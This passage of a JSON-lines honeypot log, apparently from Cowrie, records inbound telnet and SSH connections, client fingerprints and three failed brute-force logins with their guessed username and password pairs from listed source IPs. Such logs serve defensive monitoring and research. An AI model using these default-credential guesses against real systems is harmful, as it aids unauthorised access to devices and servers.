{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57030,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1180c32aee","protocol":"telnet","message":"New connection: 192.119.13.58:57030 (10.17.0.5:23) [session: 1a1180c32aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:29.515511Z"}
{"eventid":"cowrie.session.closed","duration":39.44485902786255,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:30.894568Z","src_ip":"192.119.13.58","session":"36a1eede8eeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b33ec8219a","protocol":"telnet","message":"New connection: 192.119.13.58:37598 (10.17.0.5:23) [session: c1b33ec8219a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:32.723482Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51748,"dst_ip":"10.17.0.5","dst_port":23,"session":"023f89a876c9","protocol":"telnet","message":"New connection: 192.119.13.58:51748 (10.17.0.5:23) [session: 023f89a876c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:35.292291Z"}
{"eventid":"cowrie.session.closed","duration":37.73421907424927,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:37.201548Z","src_ip":"192.119.13.58","session":"335da8a1648d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.57715368270874,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:39.683523Z","src_ip":"192.119.13.58","session":"525492f4e1e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.74","src_port":7102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba821a5c24a1","protocol":"telnet","message":"New connection: 66.132.195.74:7102 (10.17.0.5:23) [session: ba821a5c24a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:40.522225Z"}
{"eventid":"cowrie.session.closed","duration":32.453938484191895,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:41.296555Z","src_ip":"192.119.13.58","session":"f365e5b16c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49530,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e04adebc1a2","protocol":"telnet","message":"New connection: 192.119.13.58:49530 (10.17.0.5:23) [session: 8e04adebc1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:48.500521Z"}
{"eventid":"cowrie.session.closed","duration":36.85356545448303,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:49.033015Z","src_ip":"192.119.13.58","session":"2e66d22d9a9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53800,"dst_ip":"10.17.0.5","dst_port":23,"session":"eccf129acddd","protocol":"telnet","message":"New connection: 192.119.13.58:53800 (10.17.0.5:23) [session: eccf129acddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:49.529725Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":59872,"dst_ip":"10.17.0.5","dst_port":22,"session":"8357770419bb","protocol":"ssh","message":"New connection: 45.78.204.254:59872 (10.17.0.5:22) [session: 8357770419bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:50.123024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:51.708120Z","src_ip":"45.78.204.254","session":"8357770419bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:51.712231Z","src_ip":"45.78.204.254","session":"8357770419bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.29596257209778,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:53.658494Z","src_ip":"192.119.13.58","session":"fe8e5db54fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17198443412781,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:53.783328Z","src_ip":"192.119.13.58","session":"f41dbcd298eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.581215381622314,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:57.103314Z","src_ip":"66.132.195.74","session":"ba821a5c24a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33588,"dst_ip":"10.17.0.5","dst_port":23,"session":"23f0453fa7ce","protocol":"telnet","message":"New connection: 192.119.13.58:33588 (10.17.0.5:23) [session: 23f0453fa7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:11:58.306064Z"}
{"eventid":"cowrie.session.closed","duration":31.736888885498047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:01.252287Z","src_ip":"192.119.13.58","session":"1a1180c32aee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.74","src_port":16692,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d63270e4450","protocol":"telnet","message":"New connection: 66.132.195.74:16692 (10.17.0.5:23) [session: 5d63270e4450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:01.865843Z"}
{"eventid":"cowrie.login.failed","username":"marcus","password":"marcus","message":"login attempt [marcus/marcus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:01.872806Z","src_ip":"45.78.204.254","session":"8357770419bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:01.883416Z","src_ip":"45.78.204.254","session":"8357770419bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.1474761962890625,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:06.013184Z","src_ip":"66.132.195.74","session":"5d63270e4450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50072,"dst_ip":"10.17.0.5","dst_port":23,"session":"d83fe9657268","protocol":"telnet","message":"New connection: 192.119.13.58:50072 (10.17.0.5:23) [session: d83fe9657268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:09.255589Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50884,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee6b396486d4","protocol":"telnet","message":"New connection: 192.119.13.58:50884 (10.17.0.5:23) [session: ee6b396486d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:09.468370Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56836,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b6c017a864","protocol":"telnet","message":"New connection: 192.119.13.58:56836 (10.17.0.5:23) [session: a3b6c017a864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:10.847218Z"}
{"eventid":"cowrie.session.closed","duration":40.229419231414795,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:12.952777Z","src_ip":"192.119.13.58","session":"c1b33ec8219a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d4a9a035eb","protocol":"telnet","message":"New connection: 192.119.13.58:41116 (10.17.0.5:23) [session: a1d4a9a035eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:13.893624Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.74","src_port":48090,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca3520e081f","protocol":"telnet","message":"New connection: 66.132.195.74:48090 (10.17.0.5:23) [session: 4ca3520e081f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:14.027521Z"}
{"eventid":"cowrie.session.closed","duration":41.25135803222656,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:16.543449Z","src_ip":"192.119.13.58","session":"023f89a876c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58192,"dst_ip":"10.17.0.5","dst_port":23,"session":"2799ece633cd","protocol":"telnet","message":"New connection: 192.119.13.58:58192 (10.17.0.5:23) [session: 2799ece633cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:17.807344Z"}
{"eventid":"cowrie.session.closed","duration":8.727228879928589,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:19.574322Z","src_ip":"192.119.13.58","session":"a3b6c017a864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":33436,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e45a2d5398c","protocol":"ssh","message":"New connection: 103.27.238.120:33436 (10.17.0.5:22) [session: 1e45a2d5398c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:21.550308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:21.555254Z","src_ip":"103.27.238.120","session":"1e45a2d5398c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:21.808507Z","src_ip":"103.27.238.120","session":"1e45a2d5398c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46834,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f524e6b0f9d","protocol":"telnet","message":"New connection: 192.119.13.58:46834 (10.17.0.5:23) [session: 8f524e6b0f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:21.938440Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1234567890","message":"login attempt [root/q1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:22.573444Z","src_ip":"103.27.238.120","session":"1e45a2d5398c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:23.831548Z","src_ip":"103.27.238.120","session":"1e45a2d5398c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58914,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb4240fe3bf","protocol":"telnet","message":"New connection: 192.119.13.58:58914 (10.17.0.5:23) [session: 8fb4240fe3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:24.846443Z"}
{"eventid":"cowrie.session.closed","duration":10.916770219802856,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:24.944223Z","src_ip":"66.132.195.74","session":"4ca3520e081f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37970,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e61677a8a0d","protocol":"telnet","message":"New connection: 192.119.13.58:37970 (10.17.0.5:23) [session: 2e61677a8a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:26.678073Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45872,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1c8ec2ba94","protocol":"telnet","message":"New connection: 192.119.13.58:45872 (10.17.0.5:23) [session: 9c1c8ec2ba94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:28.528825Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46800,"dst_ip":"10.17.0.5","dst_port":23,"session":"f10723a7b269","protocol":"telnet","message":"New connection: 192.119.13.58:46800 (10.17.0.5:23) [session: f10723a7b269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:28.772574Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49596,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e9079c7f209","protocol":"telnet","message":"New connection: 192.119.13.58:49596 (10.17.0.5:23) [session: 8e9079c7f209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:29.562465Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51506,"dst_ip":"10.17.0.5","dst_port":23,"session":"22d49668a6fa","protocol":"telnet","message":"New connection: 192.119.13.58:51506 (10.17.0.5:23) [session: 22d49668a6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:30.073529Z"}
{"eventid":"cowrie.session.closed","duration":41.0659761428833,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:30.595597Z","src_ip":"192.119.13.58","session":"eccf129acddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.181755781173706,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:30.682181Z","src_ip":"192.119.13.58","session":"8e04adebc1a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54428,"dst_ip":"10.17.0.5","dst_port":23,"session":"863cc019e7df","protocol":"telnet","message":"New connection: 192.119.13.58:54428 (10.17.0.5:23) [session: 863cc019e7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:30.830602Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e063589f7c58","protocol":"telnet","message":"New connection: 192.119.13.58:54918 (10.17.0.5:23) [session: e063589f7c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:30.959105Z"}
{"eventid":"cowrie.session.closed","duration":35.96122622489929,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:34.267151Z","src_ip":"192.119.13.58","session":"23f0453fa7ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54876,"dst_ip":"10.17.0.5","dst_port":23,"session":"c08b2589ab82","protocol":"telnet","message":"New connection: 192.119.13.58:54876 (10.17.0.5:23) [session: c08b2589ab82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:37.825240Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35034,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f2194a79a5","protocol":"telnet","message":"New connection: 192.119.13.58:35034 (10.17.0.5:23) [session: 58f2194a79a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:39.922580Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36000,"dst_ip":"10.17.0.5","dst_port":23,"session":"da5e9ce8c0e7","protocol":"telnet","message":"New connection: 192.119.13.58:36000 (10.17.0.5:23) [session: da5e9ce8c0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:40.147034Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":47132,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43c9bca48ac","protocol":"ssh","message":"New connection: 185.236.22.41:47132 (10.17.0.5:22) [session: f43c9bca48ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:44.483457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:44.493268Z","src_ip":"185.236.22.41","session":"f43c9bca48ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:44.612987Z","src_ip":"185.236.22.41","session":"f43c9bca48ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.806968212127686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:44.700459Z","src_ip":"192.119.13.58","session":"a1d4a9a035eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55628,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae17d968c1cc","protocol":"telnet","message":"New connection: 192.119.13.58:55628 (10.17.0.5:23) [session: ae17d968c1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:44.920351Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"avrora","message":"login attempt [root/avrora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:45.207832Z","src_ip":"185.236.22.41","session":"f43c9bca48ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:46.340953Z","src_ip":"185.236.22.41","session":"f43c9bca48ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38134,"dst_ip":"10.17.0.5","dst_port":23,"session":"42bba0613145","protocol":"telnet","message":"New connection: 192.119.13.58:38134 (10.17.0.5:23) [session: 42bba0613145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:47.468975Z"}
{"eventid":"cowrie.session.closed","duration":38.414767026901245,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:47.882988Z","src_ip":"192.119.13.58","session":"ee6b396486d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44232,"dst_ip":"10.17.0.5","dst_port":23,"session":"357a9328de1f","protocol":"telnet","message":"New connection: 192.119.13.58:44232 (10.17.0.5:23) [session: 357a9328de1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:48.850173Z"}
{"eventid":"cowrie.session.closed","duration":0.00511622428894043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:48.855144Z","src_ip":"192.119.13.58","session":"357a9328de1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.17255353927612,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:53.428003Z","src_ip":"192.119.13.58","session":"d83fe9657268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28265929222107,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:57.128988Z","src_ip":"192.119.13.58","session":"8fb4240fe3bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56014,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c230c412198","protocol":"telnet","message":"New connection: 192.119.13.58:56014 (10.17.0.5:23) [session: 8c230c412198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:12:58.533813Z"}
